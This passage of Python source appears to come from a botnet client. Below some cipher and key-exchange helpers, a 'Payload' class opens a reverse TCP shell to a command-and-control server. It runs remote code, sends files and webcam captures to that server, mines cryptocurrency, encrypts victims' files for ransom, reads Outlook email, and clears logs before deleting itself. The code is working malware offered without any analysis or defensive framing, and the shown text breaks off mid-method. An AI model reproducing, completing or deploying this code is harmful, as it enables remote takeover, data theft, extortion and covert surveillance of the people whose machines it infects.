971            result.append((self.S[(t[ i          ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
972            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
973            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
974            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)
975
976        return result
977
978    def decrypt(self, ciphertext):
979        """
980        Decrypt a block of ciphertext using the AES block cipher
981
982        `Required`
983        :param str ciphertext:       16 byte block of ciphertext
984
985        """
986        if len(ciphertext) != 16:
987            raise ValueError('wrong block length')
988
989        rounds = len(self._Kd) - 1
990        (s1, s2, s3) = [3, 2, 1]
991        a = [0, 0, 0, 0]
992
993        # Convert ciphertext to (ints ^ key)
994        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
995
996        # Apply round transforms
997        for r in xrange(1, rounds):
998            for i in xrange(0, 4):
999                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^
1000                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
1001                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^
1002                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^
1003                        self._Kd[r][i])
1004            t = copy.copy(a)
1005
1006        # The last round is special
1007        result = [ ]
1008        for i in xrange(0, 4):
1009            tt = self._Kd[rounds][i]
1010            result.append((self.Si[(t[ i          ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
1011            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
1012            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
1013            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)
1014
1015        return result
1016
1017
1018class AESModeOfOperationCBC(AES):
1019    """
1020    AES Cipher Block Chaining Mode
1021
1022    `Required`
1023    :param str key:     16 byte shared secret key
1024    :param str iv:      16 byte initialization vector
1025
1026    """
1027
1028    name = "Cipher-Block Chaining (CBC)"
1029    block_size = 16
1030
1031    def __init__(self, key, iv = None):
1032        if iv is None:
1033            self._last_cipherblock = [ 0 ] * 16
1034        elif len(iv) != 16:
1035            raise ValueError('initialization vector must be 16 bytes')
1036        else:
1037            self._last_cipherblock = _string_to_bytes(iv)
1038
1039        self._aes = AES(key)
1040
1041    def encrypt(self, plaintext):
1042        if len(plaintext) != 16:
1043            raise ValueError('plaintext block must be 16 bytes')
1044
1045        plaintext = _string_to_bytes(plaintext)
1046        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
1047        self._last_cipherblock = self._aes.encrypt(precipherblock)
1048
1049        return _bytes_to_string(self._last_cipherblock)
1050
1051    def decrypt(self, ciphertext):
1052        if len(ciphertext) != 16:
1053            raise ValueError('ciphertext block must be 16 bytes')
1054
1055        cipherblock = _string_to_bytes(ciphertext)
1056        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
1057        self._last_cipherblock = cipherblock
1058
1059        return _bytes_to_string(plaintext)
1060
1061
1062def pad(s, block_size=16):
1063    """
1064    Pad a byte string to proper block size by appending null bytes
1065
1066    """
1067    padding = (block_size - len(bytes(s, 'utf-8')) % block_size) * chr(0) if sys.version_info[0] > 2 else (block_size - len(bytes(s)) % block_size) * chr(0)
1068    return s + padding
1069
1070def long_to_bytes(n, blocksize=0):
1071    """
1072    Convert an integer to a byte string.
1073
1074    `Required`
1075    :param long n:      long integer to convert to byte string
1076
1077    """
1078    import struct
1079    s = b''
1080    n = int(n)
1081    while n > 0:
1082        s = struct.pack('>I', n & 0xffffffff) + s
1083        n = n >> 32
1084    for i in xrange(len(s)):
1085        if s[i] != b'\000'[0]:
1086            break
1087    else:
1088        s = b'\000'
1089        i = 0
1090    s = s[i:]
1091    if blocksize > 0 and len(s) % blocksize:
1092        s = (blocksize - len(s) % blocksize) * b'\000' + s
1093    return s
1094
1095def bytes_to_long(s):
1096    """
1097    Convert a byte string to a long integer (big endian).
1098
1099    `Required`
1100    :param str s:       byte string to convert to long integer
1101
1102    """
1103    import struct
1104    acc = 0
1105    length = len(s)
1106    if length % 4:
1107        extra = (4 - length % 4)
1108        s = b'\000' * extra + s
1109        length = length + extra
1110    for i in xrange(0, length, 4):
1111        acc = (acc << 32) + struct.unpack('>I', s[i:i+4])[0]
1112    return acc
1113
1114def diffiehellman(connection):
1115    """
1116    Diffie-Hellman Internet Key Exchange (RFC 2741)
1117
1118    `Requires`
1119    :param socket connection:     socket.socket object
1120
1121    Returns the 256-bit binary digest of the SHA256 hash
1122    of the shared session encryption key
1123
1124    """
1125    g  = 2
1126    p  = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
1127    a  = bytes_to_long(os.urandom(32))
1128    xA = pow(g, a, p)
1129    connection.send(long_to_bytes(xA))
1130    xB = bytes_to_long(connection.recv(256))
1131    x  = pow(xB, a, p)
1132    return hashlib.sha256(long_to_bytes(x)).digest()
1133
1134def encrypt_aes(plaintext, key):
1135    """
1136    AES-256-CBC encryption
1137
1138    `Requires`
1139    :param str plaintext:   plain text/data
1140    :param str key:         session encryption key
1141
1142    """
1143    text = pad(plaintext)
1144    iv = os.urandom(AESModeOfOperationCBC.block_size)
1145    cipher = AESModeOfOperationCBC(key, iv=iv)
1146    output = b''.join([cipher.encrypt(text[x:x+AESModeOfOperationCBC.block_size]) for x in xrange(0, len(text), AESModeOfOperationCBC.block_size)])
1147    return base64.b64encode(iv + output)
1148
1149def decrypt_aes(ciphertext, key):
1150    """
1151    AES-256-CBC decryption
1152
1153    `Requires`
1154    :param str ciphertext:  encrypted block of data
1155    :param str key:         session encryption key
1156
1157    """
1158    ciphertext = base64.b64decode(ciphertext)
1159    iv = ciphertext[:AESModeOfOperationCBC.block_size]
1160    ciphertext = ciphertext[len(iv):]
1161    cipher = AESModeOfOperationCBC(key, iv=iv)
1162    output = b''.join([cipher.decrypt(ciphertext[x:x+AESModeOfOperationCBC.block_size]) for x in xrange(0, len(ciphertext), AESModeOfOperationCBC.block_size)])
1163    return output.rstrip(chr(0).encode())
1164
1165def encrypt_xor(data, key, block_size=8, key_size=16, num_rounds=32, padding=chr(0)):
1166    """
1167    XOR-128 encryption
1168
1169    `Required`
1170    :param str data:        plaintext
1171    :param str key:         256-bit key
1172
1173    `Optional`
1174    :param int block_size:  block size
1175    :param int key_size:    key size
1176    :param int num_rounds:  number of rounds
1177    :param str padding:     padding character
1178
1179    Returns encrypted ciphertext as base64-encoded string
1180
1181    """
1182    data    = bytes(data.encode('utf-8'))
1183    data    = data + (int(block_size) - len(data) % int(block_size)) * bytes(padding.encode('utf-8'))
1184    blocks  = [data[i * block_size:((i + 1) * block_size)] for i in range(len(data) // block_size)]
1185    vector  = os.urandom(8)
1186    if len(key) < key_size:
1187        key += bytes(bytes(padding.encode('utf-8')) * (key_size - len(key)))
1188    result  = [vector]
1189    for block in blocks:
1190        if sys.version_info[0] < 3:
1191            block   = bytes().join(chr(ord(x) ^ ord(y)) for (x, y) in zip(vector, block))
1192        else:
1193            block   = bytes(x ^ y for (x, y) in zip(vector, block))
1194        v0, v1  = struct.unpack("!2L", block)
1195        k       = struct.unpack("!4L", key[:key_size])
1196        sum, delta, mask = 0, 0x9e3779b9, 0xffffffff
1197        for round in range(num_rounds):
1198            v0  = (v0 + (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]))) & mask
1199            sum = (sum + delta) & mask
1200            v1  = (v1 + (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum >> 11 & 3]))) & mask
1201        output  = vector = struct.pack("!2L", v0, v1)
1202        result.append(output)
1203    return base64.b64encode(bytes().join(result)).decode('utf-8')
1204
1205def decrypt_xor(data, key, block_size=8, key_size=16, num_rounds=32, padding=chr(0)):
1206    """
1207    XOR-128 encryption
1208
1209    `Required`
1210    :param str data:        ciphertext
1211    :param str key:         256-bit key
1212
1213    `Optional`
1214    :param int block_size:  block size
1215    :param int key_size:    key size
1216    :param int num_rounds:  number of rounds
1217    :param str padding:     padding character
1218
1219    Returns decrypted plaintext as string
1220
1221    """
1222    data    = base64.b64decode(data)
1223    blocks  = [data[i * block_size:((i + 1) * block_size)] for i in range(len(data) // block_size)]
1224    vector  = blocks[0]
1225    if len(key) < key_size:
1226        key += bytes(bytes(padding.encode('utf-8')) * (key_size - len(key)))
1227    result  = []
1228    for block in blocks[1:]:
1229        v0, v1  = struct.unpack("!2L", block)
1230        k0      = struct.unpack("!4L", key[:key_size])
1231        delta, mask = 0x9e3779b9, 0xffffffff
1232        sum     = (delta * num_rounds) & mask
1233        for round in range(num_rounds):
1234            v1  = (v1 - (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k0[sum >> 11 & 3]))) & mask
1235            sum = (sum - delta) & mask
1236            v0  = (v0 - (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k0[sum & 3]))) & mask
1237        decode  = struct.pack("!2L", v0, v1)
1238        if sys.version_info[0] < 3:
1239            output   = bytes().join(chr(ord(x) ^ ord(y)) for (x, y) in zip(vector, decode))
1240        else:
1241            output   = bytes(x ^ y for (x, y) in zip(vector, decode))
1242        vector  = block
1243        result.append(output.decode('utf-8'))
1244    return str().join(result).rstrip(padding)
1245
1246
1247_abort = False
1248_debug = '--debug' in sys.argv
1249
1250class Payload():
1251    """
1252    Reverse TCP shell designed to provide remote access
1253    to the host's terminal, enabling direct control of the
1254    device from a remote server.
1255
1256    """
1257
1258    def __init__(self, host='127.0.0.1', port=1337, **kwargs):
1259        """
1260        Create a reverse TCP shell instance
1261
1262        `Required`
1263        :param str host:          server IP address
1264        :param int port:          server port number
1265
1266        """
1267        self.handlers = {}
1268        self.remote = {'modules': [], 'packages': []}
1269        self.flags = self._get_flags()
1270        self.c2 = (host, port)
1271        self.connection = self._get_connection(host, port)
1272        self.key = self._get_key(self.connection)
1273        self.info = self._get_info()
1274
1275    def _get_flags(self):
1276        return collections.namedtuple('flag', ('connection','passive','prompt'))(threading.Event(), threading.Event(), threading.Event())
1277
1278    def _get_command(self, cmd):
1279        if bool(hasattr(self, cmd) and hasattr(getattr(self, cmd), 'command') and getattr(getattr(self, cmd),'command')):
1280            return getattr(self, cmd)
1281        return False
1282
1283    def _get_connection(self, host, port):
1284        while True:
1285            try:
1286                connection = socket.create_connection((host, port))
1287                break
1288            except (socket.error, socket.timeout):
1289                log("Unable to connect to server. Retrying in 30 seconds...")
1290                time.sleep(30)
1291                continue
1292            except Exception as e:
1293                log("{} error: {}".format(self._get_connection.__name__, str(e)))
1294                sys.exit()
1295        self.flags.connection.set()
1296        self.flags.passive.clear()
1297        return connection
1298
1299    def _get_key(self, connection):
1300        if isinstance(connection, socket.socket):
1301            if 'diffiehellman' in globals() and callable(globals()['diffiehellman']):
1302                return globals()['diffiehellman'](connection)
1303            else:
1304                raise Exception("unable to complete session key exchange: missing required function 'diffiehellman'")
1305        else:
1306            raise TypeError("invalid object type for argument 'connection' (expected {}, received {})".format(socket.socket, type(connection)))
1307
1308    def _get_info(self):
1309        info = {}
1310        for function in ['public_ip', 'local_ip', 'platform', 'mac_address', 'architecture', 'username', 'administrator', 'device']:
1311            try:
1312                info[function] = globals()[function]()
1313                if isinstance(info[function], bytes):
1314                    info[function] = "_b64__" + base64.b64encode(info[function]).decode('ascii')
1315            except Exception as e:
1316                log("{} returned error: {}".format(function, str(e)))
1317        data = globals()['encrypt_aes'](json.dumps(info), self.key)
1318        msg = struct.pack('!L', len(data)) + data
1319        self.connection.sendall(msg)
1320        return info
1321
1322    def _get_resources(self, target=None, base_url=None):
1323        if sys.version_info[0] < 3:
1324            from urllib import urlretrieve
1325            from urllib2 import urlopen, urlparse
1326            import StringIO
1327        else:
1328            from urllib import parse as urlparse
1329            from urllib.request import urlopen, urlretrieve
1330            from io import StringIO
1331        try:
1332            if not isinstance(target, list):
1333                raise TypeError("keyword argument 'target' must be type 'list'")
1334            if not isinstance(base_url, str):
1335                raise TypeError("keyword argument 'base_url' must be type 'str'")
1336            if not base_url.startswith('http'):
1337                raise ValueError("keyword argument 'base_url' must start with http:// or https://")
1338            log('[*] Searching %s' % base_url)
1339            path = urlparse.urlsplit(base_url).path
1340            base = path.strip('/').replace('/','.')
1341            names = []
1342            for line in urlopen(base_url).read().splitlines():
1343                line = str(line)
1344                if 'href' in line and '</a>' in line and '__init__.py' not in line:
1345                    names.append(line.rpartition('</a>')[0].rpartition('>')[2].strip('/'))
1346            for n in names:
1347                name, ext = os.path.splitext(n)
1348                if ext in ('.py','.pyc'):
1349                    module = '.'.join((base, name)) if base else name
1350                    if module not in target:
1351                        log("[+] Adding %s" % module)
1352                        target.append(module)
1353                elif not len(ext):
1354                    t = threading.Thread(target=self._get_resources, kwargs={'target': target, 'base_url': '/'.join((base_url, n))})
1355                    t.daemon = True
1356                    t.start()
1357                else:
1358                    resource = '/'.join((path, n))
1359                    if resource not in target:
1360                        target.append(resource)
1361        except Exception as e:
1362            log("{} error: {}".format(self._get_resources.__name__, str(e)))
1363
1364    @threaded
1365    def _get_prompt_handler(self):
1366        self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
1367        while True:
1368            try:
1369                self.flags.prompt.wait()
1370                self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
1371                self.flags.prompt.clear()
1372                if globals()['_abort']:
1373                    break
1374            except Exception as e:
1375                log(str(e))
1376                break
1377
1378    @threaded
1379    def _get_thread_handler(self):
1380        while True:
1381            jobs = self.handlers.items()
1382            deadpool = []
1383            for task, worker in jobs:
1384                try:
1385                    if not worker.is_alive():
1386                        deadpool.append(task)
1387                except Exception as e:
1388                    log(str(e))
1389            for task in deadpool:
1390                dead = self.handlers.pop(task, None)
1391                del dead
1392            if globals()['_abort']:
1393                break
1394            time.sleep(0.5)
1395
1396    @config(platforms=['win32','linux2','darwin'], command=True, usage='cd <path>')
1397    def cd(self, path='.'):
1398        """
1399        Change current working directory
1400
1401        `Optional`
1402        :param str path:  target directory (default: current directory)
1403
1404        """
1405        if os.path.isdir(path):
1406            return os.chdir(path)
1407        else:
1408            return os.chdir('.')
1409
1410    @config(platforms=['win32','linux2','darwin'], command=True, usage='ls <path>')
1411    def ls(self, path='.'):
1412        """
1413        List the contents of a directory
1414
1415        `Optional`
1416        :param str path:  target directory
1417
1418        """
1419        output = []
1420        if os.path.isdir(path):
1421            for line in os.listdir(path):
1422                if len('\n'.join(output + [line])) < 2048:
1423                    output.append(line)
1424                else:
1425                    break
1426            return '\n'.join(output)
1427        else:
1428            return "Error: path not found"
1429
1430    @config(platforms=['win32','linux2','darwin'], command=True, usage='cat <path>')
1431    def cat(self, path):
1432        """
1433        Display file contents
1434
1435        `Required`
1436        :param str path:  target filename
1437
1438        """
1439        output = []
1440        if not os.path.isfile(path):
1441            return "Error: file not found"
1442        for line in open(path, 'rb').read().splitlines():
1443            if len(line) and not line.isspace():
1444                if len('\n'.join(output + [line])) < 48000:
1445                    output.append(line)
1446                else:
1447                    break
1448        return '\n'.join(output)
1449
1450    @config(platfoms=['win32','linux2','darwin'], command=False)
1451    def ftp(self, source, filetype=None, host=None, user=None, password=None):
1452        """
1453        Upload file/data to FTP server
1454
1455        `Required`
1456        :param str source:    data or filename to upload
1457
1458        `Optional`
1459        :param str filetype:  upload file type
1460        :param str host:      FTP server hostname
1461        :param str user:      FTP server login user
1462        :param str password:  FTP server login password
1463
1464        """
1465        try:
1466            for attr in ('host', 'user', 'password'):
1467                if not locals().get(attr):
1468                    raise Exception("missing credential '{}' is required for FTP uploads".format(attr))
1469            path  = ''
1470            local = time.ctime().split()
1471            if os.path.isfile(str(source)):
1472                path   = source
1473                source = open(str(path), 'rb')
1474            elif hasattr(source, 'seek'):
1475                source.seek(0)
1476            else:
1477                source = StringIO.StringIO(bytes(source))
1478            host = ftplib.FTP(host=host, user=user, password=password)
1479            addr = urlopen('http://api.ipify.org').read()
1480            if 'tmp' not in host.nlst():
1481                host.mkd('/tmp')
1482            if addr not in host.nlst('/tmp'):
1483                host.mkd('/tmp/{}'.format(addr))
1484            if path:
1485                path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
1486            else:
1487                if filetype:
1488                    filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
1489                    path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
1490                else:
1491                    path = '/tmp/{}/{}'.format(addr, '{}-{}_{}'.format(local[1], local[2], local[3]))
1492            stor = host.storbinary('STOR ' + path, source)
1493            return path
1494        except Exception as e:
1495            return "{} error: {}".format(self.ftp.__name__, str(e))
1496
1497    @config(platforms=['win32','linux2','darwin'], command=True, usage='pwd')
1498    def pwd(self, *args):
1499        """
1500        Show name of present working directory
1501
1502        """
1503        return os.getcwd()
1504
1505    @config(platforms=['win32','linux2','darwin'], command=True, usage='eval <code>')
1506    def eval(self, code):
1507        """
1508        Execute Python code in current context
1509
1510        `Required`
1511        :param str code:        string of Python code to execute
1512
1513        """
1514        try:
1515            return eval(code)
1516        except Exception as e:
1517            return "{} error: {}".format(self.eval.__name__, str(e))
1518
1519    @config(platforms=['win32','linux2','darwin'], command=True, usage='wget <url>')
1520    def wget(self, url, filename=None):
1521        """
1522        Download file from URL
1523
1524        `Required`
1525        :param str url:         target URL to download ('http://...')
1526
1527        `Optional`
1528        :param str filename:    name of the file to save the file as
1529
1530        """
1531        if url.startswith('http'):
1532            try:
1533                path, _ = urlretrieve(url, filename) if filename else urlretrieve(url)
1534                return path
1535            except Exception as e:
1536                log("{} error: {}".format(self.wget.__name__, str(e)))
1537        else:
1538            return "Invalid target URL - must begin with 'http'"
1539
1540    @config(platforms=['win32','linux2','darwin'], command=True, usage='kill')
1541    def kill(self):
1542        """
1543        Shutdown the current connection
1544
1545        """
1546        try:
1547            self.flags.connection.clear()
1548            self.flags.passive.clear()
1549            self.flags.prompt.clear()
1550            self.connection.close()
1551            for thread in list(self.handlers):
1552                try:
1553                    self.stop(thread)
1554                except Exception as e:
1555                    log("{} error: {}".format(self.kill.__name__, str(e)))
1556        except Exception as e:
1557            log("{} error: {}".format(self.kill.__name__, str(e)))
1558
1559    @config(platforms=['win32','linux2','darwin'], command=True, usage='help [cmd]')
1560    def help(self, name=None):
1561        """
1562        Show usage help for commands and modules
1563
1564        `Optional`
1565        :param str command:      name of a command or module
1566
1567        """
1568        if not name:
1569            try:
1570                return json.dumps({v.usage: v.func_doc.strip('\n').splitlines()[0].lower() for k,v in vars(Payload).items() if callable(v) if hasattr(v, 'command') if getattr(v, 'command')})
1571            except Exception as e:
1572                log("{} error: {}".format(self.help.__name__, str(e)))
1573        elif hasattr(Payload, name) and hasattr(getattr(Payload, name), 'command'):
1574            try:
1575                return json.dumps({getattr(Payload, name).usage: getattr(Payload, name).func_doc})
1576            except Exception as e:
1577                log("{} error: {}".format(self.help.__name__, str(e)))
1578        else:
1579            return "'{}' is not a valid command and is not a valid module".format(name)
1580
1581    @config(platforms=['win32','linux2','darwin'], command=True, usage='load <module> [target]')
1582    def load(self, args):
1583        """
1584        Remotely import a module or package
1585
1586        `Required`
1587        :param str module:  name of module/package
1588
1589        `Optional`
1590        :param str target:  name of the target destination (default: globals)
1591
1592        """
1593        args = str(args).split()
1594        if len(args) == 1:
1595            module, target = args[0], ''
1596        elif len(args) == 2:
1597            module, target = args
1598        else:
1599            return "usage: {}".format(self.load.usage)
1600        target = globals()[target].__dict__ if bool(target in globals() and hasattr(target, '__dict__')) else globals()
1601        host, port = self.connection.getpeername()
1602        base_url_1 = 'http://{}:{}'.format(host, port + 1)
1603        base_url_2 = 'http://{}:{}'.format(host, port + 2)
1604        with globals()['remote_repo'](self.remote['packages'], base_url_2):
1605            with globals()['remote_repo'](self.remote['modules'], base_url_1):
1606                try:
1607                    exec('import {}'.format(module), target)
1608                    log('[+] {} remotely imported'.format(module))
1609                    return '[+] {} remotely imported'.format(module)
1610                except Exception as e:
1611                    log("{} error: {}".format(self.load.__name__, str(e)))
1612                    return "{} error: {}".format(self.load.__name__, str(e))
1613
1614    @config(platforms=['win32','linux2','darwin'], command=True, usage='stop <job>')
1615    def stop(self, target):
1616        """
1617        Stop a running job
1618
1619        `Required`
1620        :param str target:    name of job to stop
1621        """
1622        try:
1623            if target in self.handlers:
1624                _ = self.handlers.pop(target, None)
1625                del _
1626                return "Job '{}' was stopped.".format(target)
1627            else:
1628                return "Job '{}' not found".format(target)
1629        except Exception as e:
1630            log("{} error: {}".format(self.stop.__name__, str(e)))
1631
1632    @config(platforms=['win32','linux2','darwin'], command=True, usage='show <value>')
1633    def show(self, attribute):
1634        """
1635        Show value of an attribute
1636
1637        `Required`
1638        :param str attribute:    payload attribute to show
1639
1640        Returns attribute(s) as a dictionary (JSON) object
1641
1642        """
1643        try:
1644            attribute = str(attribute)
1645            if 'jobs' in attribute:
1646                return json.dumps({a: status(_threads[a].name) for a in self.handlers if self.handlers[a].is_alive()})
1647            elif 'privileges' in attribute:
1648                return json.dumps({'username': self.info.get('username'),  'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
1649            elif 'info' in attribute:
1650                return json.dumps(self.info)
1651            elif hasattr(self, attribute):
1652                try:
1653                    return json.dumps(getattr(self, attribute))
1654                except:
1655                    try:
1656                        return json.dumps(vars(getattr(self, attribute)))
1657                    except: pass
1658            elif hasattr(self, str('_%s' % attribute)):
1659                try:
1660                    return json.dumps(getattr(self, str('_%s' % attribute)))
1661                except:
1662                    try:
1663                        return json.dumps(vars(getattr(self, str('_%s' % attribute))))
1664                    except: pass
1665            else:
1666                return self.show.usage
1667        except Exception as e:
1668            log("'{}' error: {}".format(_threads.__name__, str(e)))
1669
1670    @config(platforms=['win32','linux2','darwin'], command=True, usage='abort')
1671    def abort(self, *args):
1672        """
1673        Abort execution and self-destruct
1674
1675        """
1676        globals()['_abort'] = True
1677        try:
1678            if os.name is 'nt':
1679                clear_system_logs()
1680            if 'persistence' in globals():
1681                global persistence
1682                for method in persistence.methods:
1683                    if persistence.methods[method].get('established'):
1684                        try:
1685                            remove = getattr(persistence, 'remove_{}'.format(method))()
1686                        except Exception as e2:
1687                            log("{} error: {}".format(method, str(e2)))
1688            if not _debug:
1689                delete(sys.argv[0])
1690        finally:
1691            shutdown = threading.Thread(target=self.connection.close)
1692            taskkill = threading.Thread(target=self.process, args=('kill python',))
1693            shutdown.start()
1694            taskkill.start()
1695            sys.exit()
1696
1697    @config(platforms=['darwin'], command=True, usage='icloud')
1698    def icloud(self):
1699        """
1700        Check for logged in iCloud account on macOS
1701
1702        """
1703        if 'icloud' not in globals():
1704            self.load('icloud')
1705        return globals()['icloud'].run()
1706
1707    @config(platforms=['win32','linux2','darwin'], command=True, usage='sms <send/read> [args]')
1708    def phone(self, args):
1709        """
1710        Use an online phone to send text messages
1711
1712        `Required`
1713        :param str phone:     recipient phone number
1714        :param str message:   text message to send
1715
1716        `Optional`
1717        :param str account:   Twilio account SID
1718        :param str token:     Twilio auth token
1719        :param str api:       Twilio api key
1720
1721        """
1722        if 'phone' not in globals():
1723            self.load('phone')
1724        args = globals()['kwargs'](args)
1725        if all():
1726            return globals()['phone'].run(number=args.number, message=args.message, sid=args.sid, token=args.token)
1727        else:
1728            return 'usage: <send/read> [args]\n  arguments:\n\tnumber: phone number with country code - no spaces (ex. 18001112222)\n\tmessage: text message to send surrounded by quotes (ex. "example text message")\n\tsid: twilio account SID\n\ttoken: twilio auth token'
1729
1730    @config(platforms=['linux2','darwin'], command=True, usage='miner <url> <user> <pass>')
1731    def miner(self, args):
1732        """
1733        Run Bitcoin miner in the background
1734
1735        `Required`
1736        :param str url:         stratum mining server url
1737        :param str username:    username for mining server
1738        :param str password:    password for mining server
1739
1740        """
1741        if 'miner' not in globals():
1742            self.load('miner')
1743        args = str(args).split()
1744        if len(args) == 3:
1745            url, username, password = args
1746            try:
1747                globals()['miner'].run(url, username, password)
1748                return """Bitcoin miner running in background\nURL: {0}\nUser: {1}""".format(url, username)
1749            except Exception as e:
1750                return "{} error: {}".format(self.miner.__name__, str(e))
1751        else:
1752            return "usage: {}".format(self.miner.usage)
1753
1754    @config(platforms=['win32','linux2','darwin'], command=False)
1755    def imgur(self, source, api_key=None):
1756        """
1757        Upload image file/data to Imgur
1758
1759        `Required`
1760        :param str source:    data or filename
1761
1762        """
1763        try:
1764            if api_key:
1765                if not isinstance(api_key, str):
1766                    raise TypeError("argument 'api_key' data type must be: {}".format(str))
1767                if not api_key.lower().startswith('client-id'):
1768                    api_key  = 'Client-ID {}'.format(api_key)
1769                if 'normalize' in globals():
1770                    source = normalize(source)
1771                post = post('https://api.imgur.com/3/upload', headers={'Authorization': api_key}, data={'image': base64.b64encode(source), 'type': 'base64'})
1772                return str(json.loads(post)['data']['link'])
1773            else:
1774                return "No Imgur API Key found"
1775        except Exception as e2:
1776            return "{} error: {}".format(self.imgur.__name__, str(e2))
1777
1778    @config(platforms=['win32','linux2','darwin'], command=True, usage='upload <mode> [file]')
1779    def upload(self, filename):
1780        """
1781        Upload file from client machine to the C2 server
1782
1783        `Required`
1784        :param str source:      filename
1785
1786        """
1787        try:
1788            if os.path.isfile(filename):
1789                host, port = self.connection.getpeername()
1790                _, filetype = os.path.splitext(filename)
1791                with open(filename, 'rb') as fp:
1792                    source = base64.b64encode(fp.read())
1793                data = {filetype: source}
1794                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
1795                return "Upload complete"
1796            else:
1797                return "Error: file not found"
1798        except Exception as e:
1799            log("{} error: {}".format(self.upload.__name__, str(e)))
1800            return "Error: {}".format(str(e))
1801
1802    @config(platforms=['win32','linux2','darwin'], registry_key=r"Software\BYOB", command=True, usage='ransom <mode> [path]')
1803    def ransom(self, args):
1804        """
1805        Encrypt personal files on client machine
1806
1807        `Required`
1808        :param str mode:        encrypt, decrypt, payment
1809        :param str target:      target filename or directory path
1810
1811        """
1812        if 'ransom' not in globals():
1813            self.load('ransom')
1814        return globals()['ransom'].run(args)
1815
1816    @config(platforms=['win32','linux2','darwin'], command=True, usage='webcam <mode> [options]')
1817    def webcam(self, args=None):
1818        """
1819        Capture image/video from client webcam
1820
1821        `Required`
1822        :param str mode:      stream, image, video
1823
1824        `Optional`
1825        :param str upload:    imgur (image mode), ftp (video mode)
1826        :param int port:      integer 1 - 65355 (stream mode)
1827
1828        """
1829        try:
1830            if 'webcam' not in globals():
1831                self.load('webcam')
1832            if not args:
1833                return self.webcam.usage
1834            args = str(args).split()
1835            if 'stream' in args:
1836                if len(args) != 2:
1837                    log("Error - stream mode requires argument: 'port'")
1838                elif not args[1].isdigit():
1839                    log("Error - port must be integer between 1 - 65355")
1840                else:
1841                    host, _ = self.connection.getpeername()
1842                    port = int(args[1])
1843                    globals()['webcam'].stream(host=host, port=port)
1844            elif 'image' in args:
1845                img = globals()['webcam'].image(*args)
1846                data = {"png": img}
1847                host, port = self.connection.getpeername()
1848                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
1849            elif 'video' in args:
1850                vid = globals()['webcam'].video(*args)
1851                data = {"avi": vid}
1852                host, port = self.connection.getpeername()
1853                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
1854            else:
1855                return self.webcam.usage
1856            return "Webcam capture complete"
1857        except Exception as e:
1858            log("{} error: {}".format(self.webcam.__name__, str(e)))
1859
1860    @config(platforms=['win32','linux2','darwin'], command=True, usage='passive')
1861    def passive(self):
1862        """
1863        Keep client alive while waiting to re-connect
1864
1865        """
1866        log("{} : Bot entering passive mode awaiting C2.".format(self.passive.__name__))
1867        self.flags.connection.clear()
1868        self.flags.passive.set()
1869
1870    @config(platforms=['win32','linux2','darwin'], command=True, usage='restart [output]')
1871    def restart(self, output='connection'):
1872        """
1873        Restart the shell
1874
1875        """
1876        try:
1877            log("{} failed - restarting in 3 seconds...".format(output))
1878            self.kill()
1879            time.sleep(3)
1880            os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:])
1881        except Exception as e:
1882            log("{} error: {}".format(self.restart.__name__, str(e)))
1883
1884    @config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')
1885    def outlook(self, args=None):
1886        """
1887        Access Outlook email in the background
1888
1889        `Required`
1890        :param str mode:    installed, run, count, search, upload
1891
1892        """
1893        if 'outlook' not in globals():
1894            self.load('outlook')
1895        elif not args:
1896            try:
1897                if not globals()['outlook'].installed():
1898                    return "Error: Outlook not installed on this host"
1899                else:
1900                    return "Outlook is installed on this host"
1901            except: pass
1902        else:
1903            try:
1904                mode, _, arg   = str(args).partition(' ')
1905                if hasattr(globals()['outlook'], mode):
1906                    if 'run' in mode:
1907                        self.handlers['outlook'] = globals()['outlook'].run()
1908                        return "Fetching emails from Outlook inbox..."
1909                    elif 'upload' in mode:
